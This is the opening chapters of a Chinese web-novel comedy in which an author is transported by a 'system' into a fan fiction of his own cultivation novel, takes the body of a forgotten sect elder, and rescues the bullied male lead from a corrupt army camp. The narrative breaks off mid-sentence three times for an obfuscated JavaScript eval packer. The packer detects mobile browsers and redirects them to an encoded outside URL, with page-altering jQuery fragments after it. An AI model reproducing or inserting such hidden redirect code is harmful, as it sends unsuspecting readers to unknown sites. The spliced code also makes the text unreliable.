《谁允许你们穿书的?!》 1. 一朝穿书 《绝世修仙传》是一本男频玄幻大长篇爽文。 有多长呢?整整三年,日更过万,还没完结! 此书自开坑以来,就凭着它爽到没朋友的独特风格吸引了一大波粉丝。量大管饱是它的基操,擦边起飞是它的特色,剧情…… 哦,其实没什么剧情。 这本书的男主谢负尘,有着不凡身世但意外流落民间,求仙问道却遭师兄陷害,黑化归来一路打怪升级,最后问鼎修仙界,抱得美人归。 ——以上是作者“随缘更新”写下这本书的初心。 当然了,现实和理想总会存在差距,因为在沈轻随写到男主黑化归来向反派师兄复仇后,评论区的画风开始走偏了。 前期为了事业线的推进,读者们的欲望已经压抑了很久,眼下大仇得报,是到了快活的时候了!尤其是师兄死于男主之手后,他的老婆为了自保,不得不依附讨好男主,一小段夺人妻——夺的还是自己嫂子的剧情把这帮欲求不满的读者看得醉生梦死,直呼过瘾! 一时间订阅打赏不断,热度飙升! 但与此同时也出现了一个很大的问题:读者们开始频繁要求减少男主打怪升级的篇幅,多写攻略各路妹子的剧情。 沈轻随一开始没太当回事,随手写了几章福利后就想回归主线,结果刚露出点苗头,就被评论区喷得体无完肤,十八代祖宗都被拉出来溜了一圈,吓得他赶紧又写了一对双生姊妹花倒贴的剧情来给读者顺毛。 权衡一下利弊,沈轻随果断把原先设定好的什么身世之谜啦,大boss啦全部揉吧揉吧喂了狗,连夜铺了一百种猎艳设定,生生把《绝世修仙传》写成了一本行走的妖艳贱货。 对此,沈轻随接受良好。挣钱嘛,不寒碜。 这天更新完,他照例在论坛瞎逛,吃吃瓜划划水,观察下评论区的风吹草动,欣赏下读者间的粉黑大战……忽然,他滑鼠标的手指一顿。 主楼大字:《绝世修仙传之师兄逆袭》。 小字:师弟,你恨我、囚我,怎不敢认一句爱我? 雷得沈轻随浑身一抖,泡面桶差点翻了,还以为是自己眼花,颤巍巍地点进去光速浏览了一遍,怒摔键盘:这、这这,这里有人造谣啊!!! 这本同人竟比他写的原著还没下限,讲的是读者穿成书里的反派师兄,和主角相爱相杀、缠绵悱恻的故事。情节之旖旎,用词之大胆!简直没三观没节操没眼看! 沈轻随连滚带爬地找到举报键,截图取证一顿输出,最后大声呼吁:“尊重原著,拒绝篡改!” 刚按下提交,便觉脑子一沉,眼前无数雪花星星乱蹦,耳边响起一道清脆的机械提示音。 【随缘更新大大您好,已接到您对帖子《绝世修仙传之师兄逆袭》的投诉,请问是否需要对此书进行修改操作?】 沈轻随:“废话!审核给力点,侵权的晓得不?” 【收到您的宝贵意见,系统激活成功,宿主绑定中!】 沈轻随:“?” 绑谁? 来不及思索,沈轻随只觉周身一凉,飕飕的寒风像根细刀子在他身上刮着,身下坐的软垫也突然变得硌人。 睁开眼,赫然是一个幽深的山洞,几步远的地方有一个小孔,透出微弱的亮光。刺骨的寒风就是从那里吹进来的。 反观自己,正穿着一身惨白的宽大袍子,盘腿坐在冷硬的石台上。若非身上套的不是袈裟,沈轻随差点以为他是被妖风刮来的唐僧。 干什么,穿越啊? 好在他阅文无数,什么七七八八的剧情都见过甚至写过,早已修炼出了一颗坐怀不乱的强大心脏,眼下虽然情况吓人,但沈轻随依然接受良好。 试着活动一下筋骨,他发现,这具身体只有上半身能动,两条盘起的腿则跟焊死了一样,伸不开,拉不动,敲上去居然还是叮叮咚咚的金属声。 挣扎半天无果,他忍无可忍地骂了一声:“该死,下面装的俩水管?” 话音刚落,耳边机械音再次响起。 【恭喜宿主正式进入《绝世修仙传之师兄逆袭》世界!现今不良穿书同人文横行,肆意改造原书剧情,对原作者造成极大精神伤害。本系统将遵循“尊重原著,拒绝篡改”的准则,助力您修复剧情,保护知识产权!祝您体验愉快!】 沈轻随:“……” 听上去蛮正义的耶。 但为什么这种事要他亲自来啊! 在寒风中凌乱片刻,沈轻随试着叫了一声:“嘿系统?” 【嗯哼。】 沈轻随点点自己的腿:“我动不了。” 系统沉默片刻,似乎想起了什么。 【为了宿主任务顺利进行,本系统将提供金手指“皮肤自助”,您可根据需要自由选择在书中世界的身份。现有如下选项推荐: A.主角父亲。 B.主角求学门派的领导人。 C.世外高人。 推荐理由:改变剧情可能性较大,难度较小。】 沈轻随摸着下巴,把这三个选项在脑子里咂摸了一遍。 主角父亲?这种一听就是高危职业吧,而且沈轻随记得他一开始就把主角爹妈写死了,不然哪来什么“身世之谜”?果断pass。 世外高人?主角的升级打怪原则一般是谁强干谁,敢高过主角去你不要命了?听上去也是十分危险呐!pass。 沈轻随戳下B选项,摩拳擦掌地问系统:“求学门派是披云山庄吧?我会是哪个领导?” 世间修仙者甚众,散修却极少,修行若不依仗有底蕴的世家或门派,路途便会格外艰难。主角幼年时家破人亡,为将来能够手刃敌人为父母报仇,便和一同长大的师兄一起拜入了四大仙门之一披云山庄。 系统:【披云四君之一,术阁长老,怀微君。】 听到这个名字,沈轻随皱了眉头,他写过这个人? 他还真写过这个人! 不过是一个极边缘的角色,打主角出生起就一直闭关不出,永远只活在别人的台词里,从没漏过脸。 那沈轻随为什么要写这么个角色呢? 答案非常之简单粗暴——凑数。 一个牛逼哄哄的门派,实力得强吧?大佬得多吧?人丁稀少的门派算什么大宗门,不是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15266324|166588||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大宗门怎么能显示出主角的豪横霸气! 虽然后面都写到主角屠戮披云满门了,怀微君好像也没被拉出来溜溜——沈轻随早把他忘到九霄云外去了。笑话,他记主角那几十个后宫娘娘的名号还来不及,哪顾得上操心一个滥竽充数的路人甲。 沈轻随突然有些后悔,不管是从缩头乌龟角度,还是从提刀硬刚角度,这货到底算哪门子的“改变剧情可能性较大”?没被主角一刀劈了都算命大!忙跟系统打商量道:“选错了选错了,还有没有别的选项?” 系统仿佛看穿他心中所想:【出于人道主义,身份选择只限于“无灵魂角色”,暂不支持夺舍,是否继续刷新?】 这下沈轻随反应过来了,怪不得三个选项他都如此陌生,现在想来好像都有一个共同的特点:书里提过,但没有露脸,也没有台词。这样的人就像一个空纸壳,是最好不过的魂魄容器。 一个名字就好比一个账号,如果很久没有上线,就容易被网站偷走当水军用。一样的道理,怀微君这个名头就被系统偷来给沈轻随当做任务的身份了。 他无奈道:“算了,就这个吧。” 一定要在路人甲和炮灰里选的话,怀微君好歹有地位有实力,其他的身份只会更差。 【身份确认成功!】 忽觉身下一轻,焊死的水管居然松了,沈轻随没来得及稳住重心,咕噜一下从石台上滚了下去,摔了个四仰八叉。 系统冷酷的机械音还在继续:【后续若有身份变更需要,请将上一皮肤归还至原处,若归还失败,将无法继续切换皮肤。谨记:有借有还,再借不难!】 沈轻随半死不活地从地上爬起,嘿咻嘿咻做了一套健美操,这才有了点掌控身体的实感,没好气道:“你这系统还挺文明,机制从共享单车那偷的吧?” 【原创机制,请勿污蔑!如有雷同,纯属巧合!】 沈轻随无视了系统的辩白,凭直觉调动灵力,手掌轻轻地覆住小孔,贴上山壁。 裂隙自掌心蔓延,如一张巨大的蛛网迅速爬满整面石壁。 轻轻一吹,轰然碎裂。 骤然间寒风如灌,鹅毛般的雪花争先恐后地扑过来,顷刻工夫就把他埋成了一个雪人,啊不,雪球。 这里竟不是普通的山,而是一座雪山!他还一掌在顺风口开了个天窗! 沈轻随狼狈地抖了抖,催动灵力避开眉间风雪,站在西山之巅俯瞰整个披云山庄。 只见数座雪山矗立成围,中间却是沸红的一团,烈烈火色,乃是披云一绝,名唤天地炉。雪山外是青山连绵,飞鸟为纹饰,祥云作披帛,沈轻随如今五感清明,隐约还能听见某座山上传来的飘渺乐声。 这里就是他用了三年,亲手创造出的世界。 真乃一派仙家气象,b格拉满有没有! 老父亲很是欣慰啊。 沈轻随正要抚掌称叹,忽然脚下一空。 原来他不知什么时候越走越往外,踩上了洞口一块颇具迷惑性的积雪…… 后来谈及那天,弟子们只记得,有一个硕大的雪球,从峰顶一路癫狂而下,不知滚到哪里去了。 2. 男主人呢 沈轻随人被裹在雪中,一路乒呤哐啷下来,被滚得晕头转向,好容易身上一松,堪堪站直,就见一条白晃晃的人影站在自己头顶。 没错,他现在是倒着的。 脑袋朝下,两条腿还卡在雪球里的那种。 沈轻随扯了扯白人的衣角,嘿嘿笑道:“师弟,帮我一下呗。” 整个山庄,能抱着一把剑,白成小布丁的,除了如今的剑阁长老宁玉缺,也不会有其他人了。 和大部分修仙小说里的宗门一样,披云山上下分为术法、炼器、剑道、医药四阁,掌门统领全局,四位长老各掌其一,人称“一圣四君”。 其中以剑阁最富盛名,男主就是这一门的弟子。 除了药阁的施老君外,其余四人都是同一辈分的师兄妹,虽然性格迥异,但共事多年,关系亲厚。宁玉缺年龄最小,排行老四。 很显然,耍剑这档子事一般都是长江后浪推前浪,随时死在沙滩上,不像炼器炼药这种,安安分分,越老越吃香,是个养老的活计。 此男乃沈轻随在书中第二喜欢的角色,年仅十七便凭着一把变化无穷的“无阙剑”,打上了披云山的“试金榜”,扬名天下。后来更是击败了位列榜十三的上一任剑阁长老,使其直接退位让贤,云游四方去了。 他为人又极傲,永远着一身白色劲装,曾放言要“剑挑天下,血不溅衣”。这种威武霸气的角色,几乎承载着每个男人仗剑江湖的侠客梦想——沈轻随也不例外。 雪山就在剑阁的演武场边,宁玉缺应该是发现这边有动静,过来一剑截住了这坨色如比熊、行似二哈的癫雪球。 顺便把沈轻随给挖了出来。 “谢谢谢谢。”沈轻随刚重获自由,笑嘻嘻地蹭过去,打算给偶像一个大大的拥抱,谁知手还没摸到人家的衣角,就被一道剑气啪地轰开了。 沈轻随踉跄了几步,懵在原地,不远处的宁玉缺负手而立,拍了拍并不存在的灰,冷酷道:“脏。” 沈轻随:“……” 沈轻随强迫自己咽下一句脏话,黑着脸走近,直奔主题:“谢负尘在哪?” 宁玉缺挑眉:“谁?” “谢负尘。”沈轻随耐着性子重复了一遍,“你徒弟啊。” “徒弟?”宁玉缺的表情变得有些古怪,“我从不收徒弟。” 沈轻随:“?” 难道说主角还在老家没来呢吗?还是说时间不对? 沈轻随忙问:“现在凡间谁当家?” 宁玉缺用一种“你是不是闭关闭久了把脑子也顺便闭了”的眼神看了他一会儿,道:“华凤三年,姓曲的。” 沈轻随的心里升起了一股不祥的预感。 哪怕是在瞎七搭八乱改过的同人文里,主角上山拜师这件事也是板上钉钉,错不了的。 他记得很清楚,华凤元年,曲帝上位,凡间掀起了一股猛烈的求仙浪潮。也正是在这一年里,男主的父母被仇家追杀致死,所以随师兄一起上山,如今该已拜无阙剑为师,学了两年有余了。 结果你现在告诉我,男主压根没在是吗??? 沈轻随掐着系统的脖子暴风摇晃:“人呢?人呢?我那么大一个儿子呢!” 【宿主请冷静,由于穿书者的介入,《绝世修仙传》的小说世界已经发生变化,您的任务就是借助金手指,修复原有剧情。】 金手指?沈轻随不敢置信,“皮肤自助”这种东西听上去牛逼哄哄,但除了能帮他办户口以外还能干嘛?cosplay吗? “你直接告诉我男主在哪就行了。”沈轻随心急如焚,别是已经被仇家一锅端了吧? 系统开始装死。 …… 宁玉缺看着沈轻随自顾自皱眉跺脚嘟嘟囔囔好一会儿,终于忍不住开口了:“师兄?” 沈轻随正烦恼天大地大要怎么寻找一个失踪人口,忽然眼神一变,拉住宁玉缺的衣袖,深情地道:“师弟,你听我说,凡间现在有一个天纵奇才,你去收他为徒,将来一定可以光耀门楣。快,我们一起去找他吧!” 剑阁人士常年在外奔波,钱不一定多,人脉肯定不少,有他出马,还愁找不到个走失儿童吗? 宁玉缺惊愕得连推开他都忘了:“你是不是走火入魔了?” “……没有。” 宁玉缺淡淡地抽走衣袖:“若身体不适就去找施老开点药,不要杵在这里发疯。” 冷漠的背影消失得非常彻底,眼见求助无门,沈轻随叹了口气。 看来只能亲自去凡间地毯式搜索一通了。 在更早的时候,其实并无修真界与尘俗界之分,“凡间”二字十分淳朴,指的就是全天下。 然而世道分分合合,刀光剑影辈出豪侠,待到天下安定之时,侠客们纷纷避入深山,潜心修炼。后来开宗立派,便个个自诩“仙家道人”,势必要与凡尘俗人区别开来。 从此,“凡间”便专指尘俗界了。 沈轻随御剑一路向东疾行,不多时就见山峦渐稀,人烟凑集,他看准了一个葫芦形状的村子,一跃而下。 葫芦村,男主的出生点。 沈轻随各处打听了一圈,才知三年前仇家追杀的剧情并没有改变,男主确已随着师兄消失了。 最后一点侥幸心理也被杀了个片甲不留,沈轻随丧气不已,回忆着男主的逃亡路线,从村庄一路问到皇城,甚至花重金让地方官员发了紧急寻人令,可两天过去,还是一点消息都无。 就在沈轻随绝望得要撞墙时,一个年逾古稀的老人找上了他。 老人是城里人家的坐馆先生,两年前曾捡到一个流浪儿,见其聪慧机敏,又无家可归实在可怜,就自作主张将他带回书馆,和族中子弟一道修学。 这流浪儿正是谢负尘。 此举原是出格的,奈何老先生德高望重,为人又十分固执,何况说到底也不是什么大事,族里就依了他。 长辈们是许了,仗着祖荫散漫无状的纨绔们可就惨了,一个乞儿出身的贱民,小小年纪作出的文章,竟连眼高于顶的先生都赞不绝口,直言此子不日定要中个状元回来,把他们比得一无是处,苦不堪言! 于是今年的科考前夕,谢负尘便离奇“过世”了。 说到这里,老先生早已涕泗横流,捶胸顿足道:“都是我害了他!一根好苗子就这么折在我手里!” 沈轻随比他乐观一些,毕竟是龙傲天,怎么可能死这么草率。这种一看就是炮灰挑事陷害主角的戏码,他可太熟悉了,忙问:“平常与他不对付的是谁? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15266325|166588||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 老先生从怀里掏出一张纸来:“昔日与负尘有过嫌隙的,都在这里了。” …… 满满一页的名字看得沈轻随头皮发麻,不愧是主角,从小自带拉仇恨buff! 但是这老家伙显然是有备而来,他有什么理由自砸饭碗?沈轻随狐疑地看了他一眼,难道是……借刀杀人? 老先生人精一个,立即起身拱手:“老朽所言句句属实。诚不相瞒,我厌这帮国之禄蠹已久,无妻无儿,孑然一身,负尘去后便再无牵念,早归隐田园去也。仙长若有疑心,自去查证便是!” 沈轻随就去查证了。 一刻钟后,他从皇城一大户中飞身而出,直奔城北兵营。 天杀的东西!一个个毛都没长齐呢,哪里学来这么磋磨人的恶毒法子! · 未及隆冬,北地已经冷得不行,才刚放了两天大晴,这天傍晚不知怎的,又淅淅沥沥地下起雨来,不一会儿就雨雪其飞,阴冷如针。 营帐内外早早点起了灯,几个士兵搓手哈气,正排着队领今年的冬衣。 一个老汉道:“古怪,古怪。今年的雪怎么来得这么早?” 一个青年道:“是啊,还好棉被衣服都发上了,不然真要冻死。投军可真苦啊!” 老汉叹气:“已经够好了。谁不知道圣上宠爱御灵军?既不用打仗拼命,又好吃好喝供着,都成你们这帮宝贝疙瘩镀金的地方了。” 青年不服:“你这老东西没见过什么世面,捧着泔水也当珍馐!” 老汉摇摇头,忽指着炊事营边烤火的一个单衣少年道:“天可怜见的,那孩子怎么不过来领衣服穿?” 青年哈哈大笑:“那小子?他本事大得很咧!劝您老不要多管闲事,别惹上什么不该惹的人。” 那少年似乎听见了他们的谈话,往这边看了一眼,又默默低下头,手指在地上比划着什么。 青年拉旁边人道:“你看,他是不是傻了?不会还在做什么状元梦吧?喂,小子!有这工夫做梦,不如想想怎么把明天的早膳伺候好吧!再敢端出一盆泔水来……” 他拍拍自己的□□,狞笑道:“本大爷就让你尝尝什么叫金谷轮回之酒!” 少年闻言,微微勾唇:“你藏私大半个月,到现在才愿意拿出来?莫不是太合胃口,不舍得?” 青年脸色一变:“你什么意思?!” “我说,”少年站起身直视着他,眉眼弯弯,“这酒我已在你饭中添了大半个月,滋味如何?” 几个士兵哄然大笑:“张兄,想不到你还好这口童子尿啊!” 青年大怒,怪叫着扑向那个少年:“谢负尘,你找死!” 拳头刚要砸上少年的脸,旁边的篝火忽被风一吹扭了方向,火舌不偏不倚,正好舔上青年的两腿中间。 “啊!”他捂着裆部滚在地上,看向少年的眼神已然淬了毒,“小畜生,我要你的命!!!” 竟是恼羞成怒,忍着痛也要把谢负尘往火坑里推。 忽有人道:“你要谁的命?” 飞雪猝然狂乱起来,众人抬头,只见一名蓝衣道人悬空而立,广袖随风猎猎,手中一柄长剑断雪削风,叫人胆寒不已。 青年的脚步被生生逼停。 3. 拐走男主 沈轻随实在是听不下去了,好歹是一支军队,军纪竟然能松散成这样,简直比他大学时候的军训还要儿戏——好歹军训时碰上霸凌事件,教官是一定会管的! 看来今上虽在求仙问道方面颇有诚意,治国理政方面却是不甚上心。 沈轻随用剑尖挑起青年的下巴,眼睛微微眯起,半是肃然半是玩味地问道:“你刚才说要谁的命?” 寒意瞬间侵透神经,青年两股战战,扑通一声跪了:“仙、仙……仙人饶命!仙人饶命!” 沈轻随掏了掏耳朵,笑道:“我不是仙人。所以…… “不饶你的命。” 甫一抬手,那青年便“哇”的一声,两眼一白,晕了过去。 “噫!”沈轻随往后退了一步,向不远处呆若木鸡的众兵摊手道,“你们可看到了,我还什么都没干呢。” 众兵哪敢吱声,一个个点头如捣蒜,生怕仙人一个不高兴玩什么株连,纷纷撇清关系: “对对对,他自己死掉的,我们都看见了!” “自作自受,死了也活该!” “早看他不顺眼了!” 沈轻随哭笑不得,心说这货大概率是没死的,因为他的手还在不停发抖,似乎想捂着伤口,但碍于自己已经“死”了,捂的动作不敢太大,生理疼痛与心理恐惧天人交战,憋得汗都要下来了。 沈轻随懒得管他,手上的剑幻化成一把素雅的纸伞,走近谢负尘,将他整个人遮在伞下。 谢负尘半边脸映着跳跃的火光,半边脸沉在幽深的夜里,睫上落了一点晶莹的雪珠,慢慢融化成水,顺着他的脸往下落。 可怜又倔强的模样看得沈轻随心里一团柔软,不由自主地收起了调笑的态度,低声道:“好了,没事了。” 还没待谢负尘有什么反应,就听身后一个声音传来:“敢问阁下是?” 众兵纷纷拜礼:“曲将军。” 沈轻随回头看去,只见走来的分明是个男人,却生得格外秀气,甚至可称得上一句“芙蓉如面柳如眉”,负手踱步的骄矜模样也不像一方统帅,倒像是个深宫里的跋扈宠妃。 沈轻随振了振衣摆,端出一副高深莫测的模样,不紧不慢道:“问别人名字前不知道先自报家门吗?” 那人把玩着手里的杨柳鞭,轻笑道:“我以为敢来御灵军挑事的人,至少该听过我曲柳的名字。” 哦。不仅听过,你这名字还是我取的呢。 说起来,曲柳这人也挺牛逼的,天生一条麻雀命,偏偏长了颗凤凰心,投胎在一个鸟都不拉屎的地方,居然也硬生生被他给挣了出来,攀上高枝一路飞升,改了皇姓不说,如今还当上了御灵将军。 沈轻随抱拳笑道:“久仰久仰,百闻不如一见,人如其名,果然不是很直。” “你说什么?”这话似乎触到了曲柳的哪片逆鳞,一张芙蓉面隐隐有爆裂之势。柳鞭如蛇,在他指尖嘶嘶游动,仿佛下一秒就要窜出来咬破沈轻随的脖子。 沈轻随假装没看见他的杀气,打哈哈道:“在下自号怀微,师从披云。你年纪还小,不认识我很正常,下次记住就行。” “披云”二字一出,曲柳周身噌噌往外冒的火星子瞬间消失,变脸似的端出一个恭谨的笑容,道:“原来是怀微君。您方才用剑指着张公子,是要为这位……” 旁边下属提醒他:“谢负尘。” “为这位谢小友出气?不过是些小口角罢了,一帮大男人待一起久了,多多少少会有一些,打了骂了,最后不还是一样称兄道弟?何况……”曲柳顿了顿,笑道,“恕我直言,御灵军冠在花湖洲座下,与披云山庄素无交集,您这好像……不大妥吧?” 意思就是说沈轻随你别狗拿耗子多管闲事了。 这话不假,别看御灵军名义上是个“军”,其实就是一群被朝廷圈养的猪牛羊,这一军种之所以要设立,得从坐镇北地的仙门花湖洲说起。 一般来说,仙门都是避世清修的,花湖洲却反其道而行之,不仅不避,还要入世,与凡间历朝历代的帝王都交涉颇多。 御灵军便是架通皇族与花湖洲的一道桥梁。凡人子弟有投军者,其本人能有机会进入仙门修炼,家族也可受到相应的“仙家恩泽”,在花湖洲需要之时,御灵军也必须为其所用,不得违抗。 而因为花湖洲大部分时候是“不需要”的,所以投军就约等于是个空手套白狼的买卖,不少达官贵人削尖了脑袋也要把自家兄弟儿子塞进去。 能不能一脚踏进仙门暂且不提,就是在皇帝面前表表忠心——圣上爱仙我爱仙,屁股跟您坐一边——也足够了。 御灵军不仅是皇家的颜面,更是花湖洲的颜面,沈轻随身为披云山庄术阁长老,若自仗身份公然在这里耀武扬威,还是为了一个“无名小卒”,传出去还真是不太好听。 沈轻随这厢还没想好要怎么呛回去,谢负尘竟是比他先一步开口了:“曲将军一张巧嘴惯会搬弄是非。” 他眼神冷峻,嘴角却始终挂着一点浅浅的笑容:“先不论过往种种,就只让我在张公子身上讨回您‘赐’我的那二十鞭,他若还有命活,我便认他是我兄弟,如何?” 沈轻随心中叫好,不愧是我儿子,有气咱不憋着!忙趁热打铁,顺着话头冷笑一声:“哦?还有这种事?曲柳将军,你怎么说?” 地上躺尸的青年士兵听见这话,吓得一个鲤鱼打挺弹了起来,连连朝曲柳叩首:“曲将军!你可不能答应他!你别忘了,我爹可是给你……” “闭嘴!”曲柳低声喝道,笑容只僵了一瞬,马上又恢复正色,微笑道,“谢小友,你这睚眦必报的性格着实是……不太讨人喜欢。” 哇还倒打一耙你脸皮要不要这么厚? 沈轻随道:“那不然这样,不都是一个营的弟兄吗?二十鞭什么的就不必了,卖我个面子,让他俩切磋一下,让我见识见识传说中御灵军的风采,曲柳将军你觉得怎么样?” 听到前半句,青年刚松下一口气,后半句话一出,直接瞪出了一双死不瞑目的鱼泡眼,连滚带爬地扑到曲柳脚下:“不行啊将军,这小畜生……” 曲柳本来就烦,听他嘴里还要不干不净地喷些什么,干脆利落地往他脸上踹了一脚。 他大概是真动了气,这一脚踹得无比实在,一声撕心裂肺的惨叫过后,张姓公子便彻头彻尾地成了条躺“尸”。 隐约还有什么东西飞了出去——沈轻随觉得可能是门牙,看得他一阵牙酸。 曲柳微微一笑:“怀微君您也看见了,张公子身体不适,今日天色已晚,就不设这些虚礼了。您此次来得突然,没能好好招待是我的不是,若不介意的话,就随我来帐内喝上一杯吧?” 他嘴上是这么说,眼神却臭得仿佛在骂“你最好马上立刻原地滚蛋”。 沈轻随长这么大不知道“眼力见”仨字咋写,闻言兴冲冲道:“好啊!”回头招呼谢负尘道,“还愣着干什么?一起呀!曲将军是要向你陪那二十鞭的罪呢,还不快跟上?” 贱嗖嗖的语气听得曲柳脸上青一阵白一阵。他算是彻底明白了,这人纯粹是闲得没事来找不痛快的! 不错。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15266326|166588||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 正是如此! 沈轻随在皇城没头苍蝇似的转了两天,到处找不到人,心里早憋了一股气,正愁没地儿撒呢。谁让你曲柳把姓张的混混给踹走了,那可不就只能逮着你一个人死命恶心了吗? 沈轻随说着还凑上去捏了捏他的杨柳鞭,笑道:“曲将军,这鞭子做工好像有点粗糙啊,你说要是绑在身上会不会太痛了点?” 这话一出,曲柳的脸不青也不白了,而是彻底红成了一朵娇芙蓉,他咬牙切齿地道:“怀微君——我敬你一声怀微君,到底是为什么一定要跟曲某过不去?” 沈轻随心中狂笑,他可太清楚要怎么激怒曲柳了。你以为曲柳是攀上了什么高枝?当然是花湖洲之主嵇归雨的高枝! 要知道,花湖洲虽位列四大仙门之一,作风上却跟其他三者大相径庭,整个洲由内而外都散发着一股浓浓的脂粉气。以洲主嵇归雨为首,一个个妖娆得仿佛是青丘转世涂山再生,是民间小册子上最喜欢编排的对象,名声可谓是与潘氏女金莲旗鼓相当。 曲柳本身就是阴柔的长相,自从成了花湖洲的马前卒后,不仅是他本人,就连他那条引以为傲的杨柳鞭也逃不开一些绮艳流言了。 曲柳平生最恨这种长舌的小人,偏偏沈轻随在这个当口提起,他就是有再好的涵养,也撑不住一张笑脸了。 沈轻随笑着摆手道:“曲将军说哪里的话,我怎么会跟你过不去?我还有事儿求你呢。” 曲柳深深呼出一口气:“你说。” 沈轻随揽过谢负尘的肩膀,道:“我和这孩子有缘,问你要了。” 如果让这尊打不过骂不得还贱得要死的大神麻溜滚蛋的代价只是损失一个伙夫,那曲柳觉得这简直是太划算了,想也不想就道:“可以,您自便。” 众兵一片哗然,不知这小子是踩了什么狗屎运,伙房烧烧饭也有仙人要他!他们呢?拼死拼活挣功劳,上头人看也不看一眼,能混到颗仙丹吃吃都是了不得了。 曲柳冷眼一扫,顿时鸦雀无声。他讥讽道:“怎么,你们以为人人都有跟披云长老有缘的福气?” 谢负尘猝不及防被人揽到了怀里,眼珠几不可察地颤了颤,身子一僵,手里的伞猛地往下倒去。 沈轻随眼疾手快地把伞接住,另一只手在谢负尘单薄的肩头没轻没重地揉了一把,道:“曲将军,你们这儿的军服好像有点寒酸呐,看看这布料,这做工,啧啧,好像比你那根鞭子还粗糙嘞。” 曲柳大概是这辈子都不想再听见“粗糙”这个词了,忍无可忍地吩咐属下:“把我帐内那件大红鹤氅拿来!” 属下动作很快,沈轻随将伞悬于半空,接过大氅,亲自给谢负尘披了上去。 谢负尘人生得极好,身如修竹,貌似寒梅,不卑不亢偏又妖冶多情。白狐领的绒毛随风翻飞,银色的暗纹在灼灼的篝火光中流转如浪。 忽然一片没头没脑的雪花一头撞了过来,触及他面庞时悄然融化,在他双颊染上了淡淡的水渍。也许是受了冻的缘故,谢负尘的脸在水里透着红,若敷着薄粉一般,给少年常年沉郁带讥的眸子都软化了三分。 在写下“谢负尘”这个名字的时候,沈轻随就把自己能想到的最好的少年模样都给了他,现在这张脸真正地出现在眼前了,哪里都是恰到好处,说不惊艳肯定是假的。 沈轻随简直难以抑制自豪的心情,同时也不免有些吃味,顿了一下,又情不自禁地捏了捏他的脸,想要抓到什么实感似的。 回过神来又觉得肉麻,别开眼神,把伞胡乱一抄,道:“谢小友,我们走吧?” 4. 披云山庄 回去的路上,沈轻随一直在盘算着系统发布的任务。 既然要修复剧情,那就要找到变量。显然,能在这三年内影响到主角原有活动轨迹的,只有一个人嫌疑最大。 沈轻随在集市上买了两根糖葫芦,自己嘴里叼一根,另一根递给谢负尘,哄小孩儿似的问道:“你家里还有什么人不?” 谢负尘乖乖接过,道:“父母都过世了,只有一个兄长。” 这个兄长,当然就是从小被谢负尘双亲收养,长大后却恩将仇报的白眼狼——那篇烂俗同人文的主人公戚迟了! 沈轻随噗噗吐出两颗山楂核,道:“那他人呢?怎么把你一个人留在御灵军里?” 谈及这个话题,谢负尘在军中那番明丽的锐气褪了下去,神色有些黯然:“两年前师兄独自一人去披云山求学,因路途凶险,所以让我在城中等他……后来生了些变故,我才辗转进了御灵军。” 哦哟呵! 原剧情中要不是谢负尘的主角光环强大,俩十来岁的小鬼要想在茫茫山海中找到披云山庄可谓是难如登天,怎么现在戚迟反倒把主角丢下自己去了? 把猴子赶走的唐僧还想到西天取经?上西天还差不多吧! 虽然跟那篇同人文写的好像不太一样,但这个戚迟绝对有问题。 沈轻随喜气洋洋地把系统拎了出来:“喂,醒醒,穿书者找到了。” 【恭喜,请阻止其篡改剧情。再接再厉。】 沈轻随:“?” “把狼投了游戏不就结束了吗?” 【抱歉,系统暂未收录“狼人杀”相关资源。】 “……哦所以这是光找出来不算,还要跟他斗智斗勇的意思是吗?”沈轻随眼皮跳了跳,“我能不能直接把他干掉。” 【不能。“干掉”穿书者会使原著人物缺失,剧情线将崩坏。另外,出于人道主义,本系统暂不支持抹杀……】 沈轻随扶额:“谢谢,你可以滚了。” 作为一所综合性修仙大学,披云山庄弟子众多,分为外门、内门、亲传弟子三种,同时有着一套严格的升级考核制度: 外门弟子集中修行基础性课程,比如御剑飞行、使用符咒、辨认丹药等等。除此之外,还要积极上各处打杂,只有修够学分,才能参加升入内门的考核。 当然了,打杂也是有好坏之分的。想想吧,同样是扫地的,扫山庄大门的和扫掌门内殿的,那地位能一样吗?所以,要想得到高质量的打杂机会,那是要靠抢的! 升入内门之后,日子就好过多了,在术法、炼器、剑道、医药四阁中任选一个专业,平常听听课,摸摸鱼,有什么事就使唤外门弟子去干,只要没啥宏图大志,这就是一个混吃等死的风水宝地。 如果你还想往上爬,那就可以参加四年一次的内门弟子试训,表现优秀即可被各部门领导选中收为亲传弟子,成为日后的掌门长老预备役,从此一人之下万人之上! 